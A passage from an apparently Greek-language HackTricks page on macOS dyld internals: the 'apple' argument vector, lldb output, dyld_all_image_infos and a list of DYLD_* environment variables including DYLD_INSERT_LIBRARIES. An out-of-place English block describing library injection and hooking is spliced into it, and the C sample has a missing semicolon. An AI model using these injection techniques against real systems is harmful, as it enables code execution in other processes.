Τέλος, το **`dyld_stub_binder`** χρειάζεται να βρει την υποδειγμένη συνάρτηση και να τη γράψει στη σωστή διεύθυνση για να μην την αναζητήσει ξανά. Για να το κάνει αυτό χρησιμοποιεί οδηγίες (ένα πεπερασμένο αυτόματο κατάστασης) μέσα στο dyld.
## apple\[] argument vector
Στο macOS η κύρια συνάρτηση λαμβάνει πραγματικά 4 ορίσματα αντί για 3. Το τέταρτο ονομάζεται apple και κάθε καταχώρηση είναι στη μορφή `key=value`. Για παράδειγμα:
```c
// gcc apple.c -o apple
#include <stdio.h>
int main (int argc, char **argv, char **envp, char **apple)
{
for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i])
}
```
```markdown
## macOS Dyld Process
### macOS Library Injection
macOS uses the dynamic linker `dyld` to load libraries into a process's address space. This mechanism can be abused by injecting a malicious library into a process, allowing an attacker to execute arbitrary code within the context of the target process.
#### Techniques
1. **Code Injection**: The attacker injects malicious code into the target process by loading a malicious library using `dyld`.
2. **Function Hooking**: By intercepting and modifying function calls within the target process, an attacker can manipulate the behavior of the process.
3. **Environment Variable Injection**: Attackers can set environment variables to manipulate the behavior of the target process, such as changing library paths to load malicious libraries.
#### Mitigation
1. **Code Signing**: Enforce code signing requirements to ensure that only trusted libraries are loaded into processes.
2. **Library Validation**: Enable library validation to verify the integrity of loaded libraries and prevent the loading of unsigned or modified libraries.
3. **Restricted Library Paths**: Limit the directories from which libraries can be loaded to prevent unauthorized libraries from being injected into processes.
```
```
0: executable_path=./a
1:
2:
3:
4: ptr_munge=
5: main_stack=
6: executable_file=0x1a01000012,0x5105b6a
7: dyld_file=0x1a01000012,0xfffffff0009834a
8: executable_cdhash=757a1b08ab1a79c50a66610f3adbca86dfd3199b
9: executable_boothash=f32448504e788a2c5935e372d22b7b18372aa5aa
10: arm64e_abi=os
11: th_port=
```
{% hint style="success" %}
Μέχρι τη στιγμή που αυτές οι τιμές φτάνουν στην κύρια συνάρτηση, έχει ήδη αφαιρεθεί από αυτές ευαίσθητη πληροφορία ή θα μπορούσε να οδηγήσει σε διαρροή δεδομένων.
{% endhint %}
είναι δυνατόν να δείτε όλες αυτές τις ενδιαφέρουσες τιμές αποσφαλματώντας πριν μπείτε στην κύρια με:
<pre><code>lldb ./apple
<strong>(lldb) target create "./a"
</strong>Το τρέχον εκτελέσιμο έχει οριστεί σε '/tmp/a' (arm64).
(lldb) process launch -s
[..]
<strong>(lldb) mem read $sp
</strong>0x16fdff510: 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 ................
0x16fdff520: d8 f6 df 6f 01 00 00 00 00 00 00 00 00 00 00 00 ...o............
<strong>(lldb) x/55s 0x016fdff6d8
</strong>[...]
0x16fdffd6a: "TERM_PROGRAM=WarpTerminal"
0x16fdffd84: "WARP_USE_SSH_WRAPPER=1"
0x16fdffd9b: "WARP_IS_LOCAL_SHELL_SESSION=1"
0x16fdffdb9: "SDKROOT=/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX14.4.sdk"
0x16fdffe24: "NVM_DIR=/Users/carlospolop/.nvm"
0x16fdffe44: "CONDA_CHANGEPS1=false"
0x16fdffe5a: ""
0x16fdffe5b: ""
0x16fdffe5c: ""
0x16fdffe5d: ""
0x16fdffe5e: ""
0x16fdffe5f: ""
0x16fdffe60: "pfz=0xffeaf0000"
0x16fdffe70: "stack_guard=0x8af2b510e6b800b5"
0x16fdffe8f: "malloc_entropy=0xf2349fbdea53f1e4,0x3fd85d7dcf817101"
0x16fdffec4: "ptr_munge=0x983e2eebd2f3e746"
0x16fdffee1: "main_stack=0x16fe00000,0x7fc000,0x16be00000,0x4000000"
0x16fdfff17: "executable_file=0x1a01000012,0x5105b6a"
0x16fdfff3e: "dyld_file=0x1a01000012,0xfffffff0009834a"
0x16fdfff67: "executable_cdhash=757a1b08ab1a79c50a66610f3adbca86dfd3199b"
0x16fdfffa2: "executable_boothash=f32448504e788a2c5935e372d22b7b18372aa5aa"
0x16fdfffdf: "arm64e_abi=os"
0x16fdfffed: "th_port=0x103"
0x16fdffffb: ""
</code></pre>
## dyld\_all\_image\_infos
Αυτή είναι μια δομή που εξάγεται από το dyld με πληροφορίες σχετικά με την κατάσταση του dyld που μπορεί να βρεθεί στο [**source code**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld\_images.h.auto.html) με πληροφορίες όπως η έκδοση, δείκτης προς τον πίνακα dyld\_image\_info, προς τον dyld\_image\_notifier, αν η διαδικασία έχει αποσυνδεθεί από την κοινόχρηστη μνήμη, αν έχει κληθεί ο αρχικοποιητής του libSystem, δείκτης προς τη δική Mach κεφαλίδα του dyld, δείκτης προς τη συμβολοσειρά έκδοσης του dyld...
## dyld μεταβλητές περιβάλλοντος
### αποσφαλμάτωση dyld
Ενδιαφέρουσες μεταβλητές περιβάλλοντος που βοηθούν στην κατανόηση του τι κάνει το dyld:
* **DYLD\_PRINT\_LIBRARIES**
Ελέγξτε κάθε βιβλιοθήκη που φορτώνεται:
```
DYLD_PRINT_LIBRARIES=1 ./apple
dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a
dyld[19948]: <F0A54B2D-8751-35F1-A3CF-F1A02F842211> /usr/lib/libSystem.B.dylib
dyld[19948]: <C683623C-1FF6-3133-9E28-28672FDBA4D3> /usr/lib/system/libcache.dylib
dyld[19948]: <BFDF8F55-D3DC-3A92-B8A1-8EF165A56F1B> /usr/lib/system/libcommonCrypto.dylib
dyld[19948]: <B29A99B2-7ADE-3371-A774-B690BEC3C406> /usr/lib/system/libcompiler_rt.dylib
dyld[19948]: <65612C42-C5E4-3821-B71D-DDE620FB014C> /usr/lib/system/libcopyfile.dylib
dyld[19948]: <B3AC12C0-8ED6-35A2-86C6-0BFA55BFF333> /usr/lib/system/libcorecrypto.dylib
dyld[19948]: <8790BA20-19EC-3A36-8975-E34382D9747C> /usr/lib/system/libdispatch.dylib
dyld[19948]: <4BB77515-DBA8-3EDF-9AF7-3C9EAE959EA6> /usr/lib/system/libdyld.dylib
dyld[19948]: <F7CE9486-FFF5-3CB8-B26F-75811EF4283A> /usr/lib/system/libkeymgr.dylib
dyld[19948]: <1A7038EC-EE49-35AE-8A3C-C311083795FB> /usr/lib/system/libmacho.dylib
[...]
```
* **DYLD\_PRINT\_SEGMENTS**
Ελέγξτε πώς φορτώνεται κάθε βιβλιοθήκη:
```
DYLD_PRINT_SEGMENTS=1 ./apple
dyld[21147]: re-using existing shared cache (/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e):
dyld[21147]: 0x181944000->0x1D5D4BFFF init=5, max=5 __TEXT
dyld[21147]: 0x1D5D4C000->0x1D5EC3FFF init=1, max=3 __DATA_CONST
dyld[21147]: 0x1D7EC4000->0x1D8E23FFF init=3, max=3 __DATA
dyld[21147]: 0x1D8E24000->0x1DCEBFFFF init=3, max=3 __AUTH
dyld[21147]: 0x1DCEC0000->0x1E22BFFFF init=1, max=3 __AUTH_CONST
dyld[21147]: 0x1E42C0000->0x1E5457FFF init=1, max=1 __LINKEDIT
dyld[21147]: 0x1E5458000->0x22D173FFF init=5, max=5 __TEXT
dyld[21147]: 0x22D174000->0x22D9E3FFF init=1, max=3 __DATA_CONST
dyld[21147]: 0x22F9E4000->0x230F87FFF init=3, max=3 __DATA
dyld[21147]: 0x230F88000->0x234EC3FFF init=3, max=3 __AUTH
dyld[21147]: 0x234EC4000->0x237573FFF init=1, max=3 __AUTH_CONST
dyld[21147]: 0x239574000->0x270BE3FFF init=1, max=1 __LINKEDIT
dyld[21147]: Kernel mapped /private/tmp/a
dyld[21147]: __PAGEZERO (...) 0x000000904000->0x000101208000
dyld[21147]: __TEXT (r.x) 0x000100904000->0x000100908000
dyld[21147]: __DATA_CONST (rw.) 0x000100908000->0x00010090C000
dyld[21147]: __LINKEDIT (r..) 0x00010090C000->0x000100910000
dyld[21147]: Using mapping in dyld cache for /usr/lib/libSystem.B.dylib
dyld[21147]: __TEXT (r.x) 0x00018E59D000->0x00018E59F000
dyld[21147]: __DATA_CONST (rw.) 0x0001D5DFDB98->0x0001D5DFDBA8
dyld[21147]: __AUTH_CONST (rw.) 0x0001DDE015A8->0x0001DDE01878
dyld[21147]: __AUTH (rw.) 0x0001D9688650->0x0001D9688658
dyld[21147]: __DATA (rw.) 0x0001D808AD60->0x0001D808AD68
dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
dyld[21147]: Using mapping in dyld cache for /usr/lib/system/libcache.dylib
dyld[21147]: __TEXT (r.x) 0x00018E597000->0x00018E59D000
dyld[21147]: __DATA_CONST (rw.) 0x0001D5DFDAF0->0x0001D5DFDB98
dyld[21147]: __AUTH_CONST (rw.) 0x0001DDE014D0->0x0001DDE015A8
dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
[...]
```
* **DYLD\_PRINT\_INITIALIZERS**
Εκτύπωση όταν εκτελείται κάθε αρχικοποιητής βιβλιοθήκης:
```
DYLD_PRINT_INITIALIZERS=1 ./apple
dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
[...]
```
### Άλλα
* `DYLD_BIND_AT_LAUNCH`: Οι lazy δεσμεύσεις επιλύονται με μη-αδρά
* `DYLD_DISABLE_PREFETCH`: Απενεργοποίηση προ-φόρτωσης περιεχομένων \_\_DATA και \_\_LINKEDIT
* `DYLD_FORCE_FLAT_NAMESPACE`: Δεσμεύσεις μονού επιπέδου
* `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Διαδρομές ανάλυσης
* `DYLD_INSERT_LIBRARIES`: Φόρτωση μιας συγκεκριμένης βιβλιοθήκης
* `DYLD_PRINT_TO_FILE`: Εγγραφή αποσφαλμάτωσης dyld σε ένα αρχείο
* `DYLD_PRINT_APIS`: Εκτύπωση κλήσεων API libdyld
* `DYLD_PRINT_APIS_APP`: Εκτύπωση κλήσεων API libdyld που πραγματοποιούνται από το main
* `DYLD_PRINT_BINDINGS`: Εκτύπωση συμβόλων όταν δεσμεύονται
* `DYLD_WEAK_BINDINGS`: Εκτύπωση μόνο αδύναμων συμβόλων όταν δεσμεύονται
* `DYLD_PRINT_CODE_SIGNATURES`: Εκτύπωση λειτουργιών εγγραφής υπογραφής κώδικα
* `DYLD_PRINT_DOFS`: Εκτύπωση τμημάτων μορφής αντικειμένου D-Trace όπως φορτώνονται
* `DYLD_PRINT_ENV`: Εκτύπωση περιβάλλοντος που βλέπει το dyld
* `DYLD_PRINT_INTERPOSTING`: Εκτύπωση λειτουργιών ενδιάθεσης
* `DYLD_PRINT_LIBRARIES`: Εκτύπωση φορτωμένων βιβλιοθηκών
* `DYLD_PRINT_OPTS`: Εκτύπωση επιλογών φόρτωσης
* `DYLD_REBASING`: Εκτύπωση λειτουργιών επαντοποίησης συμβόλων
* `DYLD_RPATHS`: Εκτύπωση επεκτάσεων @rpath
* `DYLD_PRINT_SEGMENTS`: Εκτύπωση αντιστοιχίσεων τμημάτων Mach-O
* `DYLD_PRINT_STATISTICS`: Εκτύπωση στατιστικών χρονομέτρησης
* `DYLD_PRINT_STATISTICS_DETAILS`: Εκτύπωση λεπτομερών στατιστικών χρονομέτρησης
* `DYLD_PRINT_WARNINGS`: Εκτύπωση μηνυμάτων προειδοποίησης
* `DYLD_SHARED_CACHE_DIR`: Διαδρομή για χρήση κοινής βιβλιοθήκης cache
* `DYLD_SHARED_REGION`: "χρήση", "ιδιωτικό", "αποφυγή"
* `DYLD_USE_CLOSURES`: Ενεργοποίηση κλεισιμάτων
Είναι δυνατόν να βρείτε περισσότερα με κάτι σαν:
```bash
strings /usr/lib/dyld | grep "^DYLD_" | sort -u
```
Ή κατεβάστε το έργο dyld από [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) και εκτελέστε μέσα στον φάκελο:
```bash
find . -type f | xargs grep strcmp| grep key,\ \" | cut -d'"' -f2 | sort -u
```
## Αναφορές
* [**\*OS Internals, Volume I: User Mode. Από τον Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>